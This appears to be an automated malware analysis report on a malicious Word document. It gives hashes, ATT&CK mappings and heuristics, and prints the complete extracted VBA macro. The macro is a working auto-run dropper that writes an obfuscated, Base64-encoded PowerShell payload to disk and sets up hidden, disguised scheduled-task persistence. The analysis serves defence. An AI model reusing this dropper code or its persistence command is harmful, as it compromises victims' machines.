Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae986d7b6190876e…

MALICIOUS

Office (OLE)

109.0 KB Created: 2017-10-19 09:18:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 091939b9bd659952a222c0ef05c7e4e6 SHA-1: c1284f23e5798e28d810b6fc7172b3e1312b6417 SHA-256: ae986d7b6190876e4229bb1f3b8b3a99190eb89c360ce1e15efef3290afd1b7c
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that utilize WScript.Shell and references PowerShell, indicating an attempt to execute commands or scripts. The Document_Open macro and CreateObject calls suggest an automated execution upon opening. The presence of these elements strongly points towards a macro-based downloader designed to fetch and run additional malicious content.

Heuristics 10

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim wsh As Object
    Set wsh = VBA.CreateObject("WScript.Shell")
    Dim waitOnReturn As Boolean: waitOnReturn = True
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        wsh.Run "SchTasks /Create /F /SC HOURLY /MO 2 /TN ""Redzone Maintenance Service"" /TR ""Powershell -ExecutionPolicy Bypass -Noprofile -windowstyle hidden -nologo -Noninteractive -command %APPDATA%\servicemaintenance.ps1""", 0, False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim wsh As Object
    Set wsh = VBA.CreateObject("WScript.Shell")
    Dim waitOnReturn As Boolean: waitOnReturn = True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Open VBA.Environ("appdata") & "\servicemaintenance.ps1" For Output As #fileNo
    Print #fileNo, Base64Decode(Code)
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8705 bytes
SHA-256: 881ec5b2f46e651a79f54fb83f5f437236eb7fe407aec1f414348d59d89ee72e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function Base64Decode(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If

  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut

    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3
    
      thisChar = VBA.Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
        
    nGroup = VBA.Hex(nGroup)
        
    nGroup = VBA.String(6 - Len(nGroup), "0") & nGroup
        
    pOut = VBA.Chr(CByte("&H" & VBA.Mid(nGroup, 1, 2))) + _
      VBA.Chr(CByte("&H" & VBA.Mid(nGroup, 3, 2))) + _
      VBA.Chr(CByte("&H" & VBA.Mid(nGroup, 5, 2)))
        
    sOut = sOut & VBA.Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function


Sub UnhideText(ByVal rng As Word.Range)

    rng.Font.Hidden = False
    
    With ActiveDocument.Range
        .Font.Bold = True
        .Font.ColorIndex = wdBlack
        .ParagraphFormat.Alignment = wdAlignParagraphJustify
        .Font.Size = 14
    End With
    
    Err.Clear
    On Error GoTo Label1
     
    With Selection.Find
        .Text = "spaceintended"
        .Replacement.Text = " "
        .Execute Replace:=wdReplaceAll, Forward:=True, _
         Wrap:=wdFindContinue
    End With
    Exit Sub
Label1:
    MyMsg = MsgBox("Save document locally first and try again!", vbInformation, "Error")
            
End Sub

Private Sub Document_Open()
     
    'Dim bmRange As Range
    'Set bmRange = ActiveDocument.Bookmarks("bm1").Range
    'UnhideText bmRange
    
    'ActiveDocument.Bookmarks.Add _
    '    Name:="bm1", _
    '    Range:=bmRange
                       
    Dim Code As String
                
    Code = Code & "IC4oICRwc0hvbWVbNF0rJFBTaE9tRVszMF0rJ3gnKSggTkV3LU9iamVjdCBzWVN0ZU0uaU8uQ29tcHJFc1NJb04uREVmbEF0RVNU"
Code = Code & "UkVBbSggW1NZU1RFbS5pby5tZW1vcnlTdFJlYU1dIFtjT25WRVJ0XTo6ZnJvTWJBU0U2NFN0cmlOZygnZlZoL2I1dEtGdjIvVXI4"
Code = Code & "RFF0bEh2SW5keEVtNzNUeFZ1OWllcHFneDVJR2R2Q2lLZGpCTTRxa040OEk0cm1YeDNmZmVBV3h3VEN1NUlzRGN1ZmVjYzM4TUhw"
Code = Code & "UHRPei9oL21UT3RMYnRSMHdMemkvdUxqVzRPMTh5N2ZoeHRGNndwMk45YzU1dHpqSmRhejlyaG4xSFhHbWNHbjNIYUxVMDdVOU5T"
Code = Code & "KzgwN1ZpZmovVVQvZTQ2NUhwTE85WWU1WHBCY09WWmhvdTd1UGlyWnFRUDNnaldrbUVuY09KWDVzSzFOTUNLTXVTUmtmYTZ2ajZy"
Code = Code & "THIvSU5oOXg3ODBsR2dGVE92b1F3RG9yZm9IL0IvQkw0ZWZBYjUxS0ZuVkc1Ry9aSVhadTlVL3ZiWWpNZFVYaUI5SVM5bTFDbmtu"
Code = Code & "QzRvQnRReTVqYlQ4YkM3RHBTV0cwM3I4N1lDWTBSOHpiTHZ2dmNSV2xPbUpyc0JPSHZ0RTZOWVpnN2JTNmlWWkNoQnN5RENiMDEv"
Code = Code & "am1hRm04ZVZZTkhNQ3Jlb2lXa3pRM1BTMFhkTE9kUlI5aFVXc3FkeldEaFRGRDFFTDQzUU9OOVhYZ3RIcmlvL212Q1ljWERrTXdN"
Code = Code & "QisyQUhSeUM2VnIyN0FVQXUyQmo1Smg2Q2ZEcTJ1Z3AvMVZKSkV2dFRwWXVIRVloZ1p1eVFFZTdXZ1RVbE9TTk5QYXNaQ0JpS1hQ"
Code = Code & "NHhSdUQ2aTV6dUN0emZ0M0d2eGp2N2pVMmgvZnY4c08rdnJOR1NjMVo3ZG81UHQzU3hlTUFZSjJqVnpJTmpvc1dkVlo0eC9makFZ"
Code = Code & "NHBtTHA3bExIaXVYVDBXYnEwSEdTN1dMNVJzVXlnVkRtVXZ1c3RVV0N0K0FWRjI2OVNPMzhzN1lmMEdWVFFKRVRiemY3bzU1b3o2"
Code = Code & "WDdtQjMrdnYvREp2K0hJcTY1ZjlHRkFJYlVpU3YrUjFURXlBVFR6czlhV3MzVGl5WlB3ejJaYkQzZGdsK1NEMnR6Y1p6bUxPeTdI"
Code = Code & "amE1WHQyaVFCN2s4WkRWUlBTUTR3N2x6VWxLL2VTd2Q3VldMWlJ1WXloaTZGdDJwVmprc1VCeHVpaXgxNHdwS2x3dXJ1cTU2bmRF"
Code = Code & "OHZKQmxRS0lyNXIyQ2FaR3VQRHoyOXZLWUt3NjhPRERoOVdxS2VxdmxwdktzWHRUTDE0WFdWNHpsRE4xZk9QK0ZJV0JSY2g0TlU3"
Code = Code & "clNZcEZkY2FTcWhmcWZzclJ2NlRKQ1kvMEhUdXNlOUZWWGh5cWNacHh4MVRSNGlKTzZ3RWJjM3ppVDlBNS94WHA1L09HMml1bmxq"
Code = Code & "c1l1L1BLbGlVRnRXcGEyemlZcVozUmZIOXE3QVVwOGRraXI2VExobDJmTGR1YzF3TXRyVmVSaFBWYlV5amdnN2J1V1M4bG5tZFZV"
Code = Code & "cTVUZWxSd1YyZG5oWm5oVEg2d0FPM2FyT2ljOEJMMHgzOWxtMC9aNW5PMkF4N2crSGVPUlk0dFM3SGVzNTlGMFU4NzkyeUMzWGZK"
Code = Code & "VWxUcmtBZUpTTVV6WE42S0ZVdThLWnZQTzMyQnU2QUtvOGlQc1JzaUtTSnVrc0tLVEJMMjE1aDVzbGFaeXJZQXJ0WFVnRmpOV0R2"
Code = Code & "dlFTQklvYnI2ZnJjeVhQWVRFYzBkWlJPY090cmpoR3Y2MGZGUktDTG9CaTI0ZXVZSjVFSXliNEZaaU0yRGdNRlRTSE9GZEVwVHF5"
Code = Code & "aGtCL3p1Tzg1M1R0S3QwN2lJOWp4S3FBZEc3S3lqd3h2ME8yZWVYcTFmZVR4UWE5VTRKTkQ5R1FJRXJiWFZzZUpYTVdQSFRVNGln"
Code = Code & "czhpWVg0d3hmMzZnZ3B3SWRNNHV0eDNCSjFSaTNqWnRzVEMzUlg2UkR5YWNnaWtvd2ZVRVRPcmNHbXZnWnJoemdNb2ZRNk5mR3JG"
Code = Code & "MlNuYUZzNTNNSTFJSEM1eEt6Wkp5RitvaTkrUWFFenExY05RZTdYdnl5WnY3ZktyS1BTb05IanFLZ2xLUldLTnBoV2czY00vRlUr"
Code = Code & "SEdFNFpOUDh3Uis4d2pRSXg5Q28wcmxpUHBzeExLYWNGWmdKNUpHbkpZemxaSVlsOUpUSXNqMkxHbXhpc09yRkhJY1YxcktRUS9r"
Code = Code & "TEZwRFVLNzhra3BZd3FEcFdzcUVPZDcwQjBoVVFjdmhTSE5RcXBneDRVRElKV2Zrc2hTTjRsUDhmN0ZGNldzM1JaSmZhclRKNkNp"
Code = Code & "c2ZXZmhaQ0VpcHdVT3V1bXVQZ1ltSW9xbzNZT0ppVGNzcVRIS3U5bEtTQUErWWsvMDFLQ3N5M2FrcVNIa1VUTk0vSUFESnlSam1w"
Code = Code & "cDZSUzJqVVNLZnVLRG5VOGFPQnk1OTZiYkJTUWZpV1ZBZUE5NDNRdkc3RkNxQmpBbnppbkV0S1JGdEw2RFpVRDZneDliaXNxZzBJ"
Code = Code & "empVd09ZajhpOVg2ek93emNsMG5XTFhlN2RwM3hyU0xvMVBpT0pEa043U2VJQnJZNUpQWEJvWHVvU09OR0VYZVE2UjlvTWE5MmVh"
Code = Code & "WUgwaWdHcklLRGk5b01XdXUvUmx0MWt5aFM3VDBPRlVkNFNBTVVoZ05xVTNBSDBwNGxpVWpNUUtKUXFvUEU1WFk4bC9OMUh3NEJQ"
Code = Code & "RjR5STFlaGh3UEtQSmZoYm55R3BBR2pOQUtyWDdZT2RuZjl1bmJjdVljUUN6MWZzM3pzeCtoVXpJVWYrWUR4TWF2VzJnamxwVWFI"
Code = Code & "ZXg1ZmRQK0hEVlgxZ21paHB0ZkVnN05jcTZPSEZPWkdIdXVOTk50bWhlYWp6ZDJhdnB4bFYxZjZja1MvZmo1VXJIcktmcXFPZDdV"
Code = Code & "NmdmYXlwdk1hYkxNNzZSN0RVOHZzM1d3UC9hL216Wkk0OXMxYWE4SFdJK3IwekpSOG9wZmVpTG84ZnRIUnZ1M1RadnNqWG9saTcw"
Code = Code & "Q296aUhsbWVSYXpmWGozV0NmTm82NFk1ZnZWTHJYVEdOL2p1bjdIeDUrd1NlNG9QV0h4R3ZKNGJLaFRheElMeUUvM3pTNGo2WE91"
Code = Code & "c1VJWFF5R2RSVUxOVVMycXhPOFZwemNKOWpiV3FkRm83dFh3OHlyOGFiUFlkMWdOUFd3QStSRjgyanpQS2F1MVZRSnhadmhoRXl3"
Code = Code & "RXNKSWt6Y1JRWjBaM3cwQ3U1TXNWNTdzeW1IeldGSWdxVGNkcjBqZ0RGaHkrTHlwUGdxVlU5dVc3aDhLSjFVMzJBcGhDWXB4dFZv"
Code = Code & "bTREMXZyUWJUcUlPS1hrdjIrRlJNdG1mMW1oemczTEpycnppUDdVMUkvUGw0MTNjQkY4aitpQUVPY3o1ajlhRXozVC82eEZoQlpE"
Code = Code & "RDlKMzdxS08ycEdqS2dERUtuQkE3b0oxL2d6ckYyWnlJME53Uk0zdUFucjllWEFRZmNPcThtUUhOMXRTMWE1Y2tRZzd4VVg1SVM5"
Code = Code & "VGxGUkQxZmhmd0paOFg0cFpxKzBOUWdTQUxPMzFIelpzeFF3Y3FScktseUJJNDlJdmFvT3ZPQU9seVl3cUVWeVh6a1VXODBKRU93"
Code = Code & "VEJKaXk0WHd1TFFxWHhRUS9jZUo0dU1KL1JyZVVoZGFvTWNHZ1VOdHlhZzl3cnBhblF6TDgyWUZWeVVDSkw1K3NNMWxzU29PTWky"
Code = Code & "dHJpYVVoS29Wb0ltMUtuT2dpWlk2d2hPSUJuUUlZZDJ3bUw2TXZ1a0hnN0pxWVZSRWRFc0ZWWUhhaFk1Q1FrRXhBNUprclczYkNN"
Code = Code & "U1FMaExLUEk4TW9QZmJJMHJpVWZaNHRMR3lKd2daWDdBcDNwUjRzNytrcm90dzBJV3lqU09OZGdKdjNRcVlieVRIN3lWUHVlbEcr"
Code = Code & "RWUzVG1ySjZsa1FObEZQWUIvMWpGcENtWVVIQ3dmdHFpa0licHkzV3FYZlZuWnkwaVNUbm1tYnRyOHIvVGVlQmtKMnVkK2JzNnU3"
Code = Code & "aCtzejFPOE42bGRmMGhHMkhQMkZ5RlFtMUtMMnRhNmtHWUVFWUpZbU5LU0JFOU1SQXdrMDFBdmZkYzBIOG92MUs5OUhkYzUrNlRq"
Code = Code & "MFRIeHFtOUNuMU9JTzNQQ3BtNWgwemY0bS9leng3QW51bUs1THpUWDVCWVJuaitjQTMvOEInICksIFtJby5jb01QUkVzU0lvTi5j"
Code = Code & "b01wckVTU2lvTk1PRGVdOjpEZWNPTVBSZVNzKSB8ICV7TkV3LU9iamVjdCAgU1lzVEVNLklvLnN0ckVhbVJlQURFUiggJF8gLCBb"
Code = Code & "dGV4dC5FTmNPZGluZ106OkFTQ0lJICl9IHwlIHskXy5SRUFEdG9lbmQoKSB9KQ=="




    Dim fileNo As Integer
    fileNo = FreeFile
    
    Open VBA.Environ("appdata") & "\servicemaintenance.ps1" For Output As #fileNo
    Print #fileNo, Base64Decode(Code)
    Close #fileNo
                    
    Dim wsh As Object
    Set wsh = VBA.CreateObject("WScript.Shell")
    Dim waitOnReturn As Boolean: waitOnReturn = True
    Dim windowStyle As Integer: windowSyle = 1
            
    wsh.Run "SchTasks /Create /F /SC HOURLY /MO 2 /TN ""Redzone Maintenance Service"" /TR ""Powershell -ExecutionPolicy Bypass -Noprofile -windowstyle hidden -nologo -Noninteractive -command %APPDATA%\servicemaintenance.ps1""", 0, False


End Sub

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